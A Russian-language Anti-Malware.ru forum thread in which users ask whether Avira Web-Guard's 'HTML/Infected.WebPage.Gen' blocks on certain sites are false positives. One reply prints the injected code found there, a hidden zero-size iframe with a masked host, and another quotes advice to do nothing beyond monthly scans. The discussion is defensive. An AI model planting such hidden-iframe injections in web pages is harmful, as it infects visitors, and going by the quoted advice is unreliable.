3TE116

Avira Antivir Premium vs сайты

В этой теме 8 сообщений

Открыл темку в которой предлагаю обсуждать,как Web-Guard работает по отношению к сайтам.Фолсы и всё такое...

Вот на сайте

altfast.ru

обнаружил такой вот malware.Скопирывал из репорта.

When accessing data from the URL, "http://alt-host.net/"

a virus or unwanted program 'HTML/Infected.WebPage.Gen' [virus] was found.

Action taken: Blocked file

Скинул в карантин,но при повторном загрузке ругается.Это фолс или правда малвар там есть????

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Дык правильно ругается - сайт проинфреймен.

</body></html>    <!-- ~ --><iframe src="http://***/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

На сайте одном при нажатии там открывается порно-страница

http://www.superbig.info/

Заблокировал это в Web-Guard теперь не мучает всплывание страницы.

Тестим дальше.

UPD:. Заблокировал посещение порно раздела на одном форуме - всеравно зашлоhuh.gifglare.gif,почему?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Вообщем это не в первый раз.

When accessing data from the URL, "http://justgamez.net/"

a virus or unwanted program 'HTML/Infected.WebPage.Gen' [virus] was found.

Action taken: Move file to quarantine

Многие скажут читай выше,там всё сказано.А как тогда например так,иногда тот сайт работает и Вэб-Гвард иногда молчит :unsure: .

А тут уже несколько дней зайти не могу :blink: .

Апдейт...

http://www.superbig.info/

.Помните я о нём выше говорил.Всеравно открывается и получается,что Вэб-Гвард его не блокирует <_< ,обидно :unsure:

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Попутно нашёл ещё инфы,что тоже интересноyes.gif

Конкретно, по классификации Avira:

HTML/Infected.WebPage.Gen [virus] - троянчик (A common attack against the web infrastructure can be the infection of harmless web pages. Some malware changes every HTML file stored on the disc and adds a link (very often an IFrame) to a site hosting malicious code. Other attacks can aim for the web servers and try to insert forwarding to the pages hosted there.)

HTML/Crypted.Gen [virus] - троянчик (To avoid detection by antivirus software, authors of HTML malware use browser features like Java and VisualBasic Script. These scripts are small and very often quite simple encryption routines hiding the malicious parts of the script. Encrypted malware is detected as HTML/Crypted.Gen.)

HEUR/HTML.Malware [heuristic] - эвристический модуль считает это эксплойтом, отправлено на анализ.

JS/Dldr.Iframe.BR [virus] - даунлоадер, описания нет, но из предыдущего и так понятно.

Предполагаю,что первый в этом списке вирус попав на комп,загружает дополнительные вирусы в этом списке.Может на компе первый бы и выглядел фолсом,но учитывая остальных,то это уже плохие признаки подарков с сайтов.

И ещё нашёл

Ничего ненадо делать. Сканируй комп раз в месяц и смотри что бы зонтик всегда открыт был. Он у меня тоже стоит и бываю я в таких местах, что тебе не снилось и никаких проблем с компом. Аську ещё никто троем не угнал и все пароли в целости и сохранности. Это я к тому, что не бойся сильно вирей они платы давно не форматируют)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

У меня был только один детект и до сих пор на сайт не пускает

When accessing data from the URL, "http://justgamez.net/"a virus or unwanted program '[b]HTML/Infected.WebPage.Gen[/b]' [virus] was found.Action taken: Move file to quarantine

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Из настроек убрал галочку с фишинга.Даже без этого на тот сайт не пускаетsad.gifhuh.gifglare.gif

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Создайте учетную запись или войдите, чтобы комментировать

Вы должны быть пользователем, чтобы оставить комментарий

Создать учетную запись

Зарегистрируйте новую учётную запись в нашем сообществе. Это очень просто!


Регистрация нового пользователя

Войти

Уже есть аккаунт? Войти в систему.


Войти с помощью Facebook Войти Войти с помощью Twitter
Anti-Malware.ru Вконтакте   Anti-Malware.ru в Facebook   Anti-Malware.ru в Twitter   Anti-Malware.ru в LinkedIn   RSS
  • Сообщения

    • Pechalka
      Вообще не замарачиваюсь по этому поводу. Где там моя посылка... Заказываю всегда всё заранее и сижу не дергаюсь, на любом сайте указаны сроки доставки, раньше указанного срока даже и не переживаю о посылке и вот до сих пор всё всегда приходило, что-то быстро, что-то не очень. Но в целом меня всё устраивает.
    • Bomborgman
      Точно такая же проблема на Premium-версии.
    • Dion
      Всё таки как далеко продвинулись компьютерные технологии по сравнению с начало девяностых годов когда ещё никто в помине не знал, что будет такое  html. А Сейчас уже наверно каждый дошкольник разбирается круче в компьютере  чем в девяностые старшеклассник!
    • ratus
      Со временем в системе все нормально. И еще нюанс, первые 10 минут после загрузки системы значок обновлений с зеленой галочкой. В последствии, он меняется на восклицательный знак оранжевого цвета. Значок отображается на информационной панели антивируса в правом столбце.
    • remontmotory
      Открылась новая организация по ремонту промышленной электроники: сервомоторов(серводвигателей), 
      что может быть весьма удобно для производственников и предприятий России. Теперь отремонтировать оборудование стало проще и возить ближе. 
      И сразу в двух больших городах: Самаре и Тольятти. Любое предприятие может отремонтировать сервомотор в ближайшем из этих городов. 
      Решили поделиться опытом, чтобы начинающие электронщики могли выполнить простой ремонт в домашних условиях Наш тестовый ролик по диагностике и ремонту электроники.
      Публикуем тестовый видеоролик по ведению работ https://www.youtube.com/watch?v=TIjKW7-2fwQ&t=1s
      И начинаем серию технических статей, рассказываем о нюансах работы сервомоторов https://www.remontservo.ru/pages/list-publications.html